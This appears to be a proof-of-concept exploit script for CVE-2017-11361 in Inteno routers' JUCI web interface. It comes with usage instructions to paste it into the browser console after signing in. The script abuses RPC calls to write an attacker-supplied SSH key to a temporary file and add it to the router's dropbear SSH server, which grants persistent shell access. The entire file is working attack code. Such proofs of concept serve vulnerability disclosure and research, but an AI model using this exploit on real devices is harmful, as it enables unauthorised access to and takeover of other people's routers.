inteno-exploits/cve-2017-11361.js

9 lines
360 B
JavaScript

// Usage: Paste into developer console of browser after signing into JUCI.
// Details: https://neonsea.uk/blog/2017/07/17/cve-2017-11361.html
var key = prompt("Enter SSH key to add");
$rpc.$call("file", "write", {path:"/tmp/tmpSshKey", data:key});
$rpc.$call("router.dropbear", "add_ssh_key", {path:"/tmp/tmpSshKey"});
alert("Request sent, try logging in");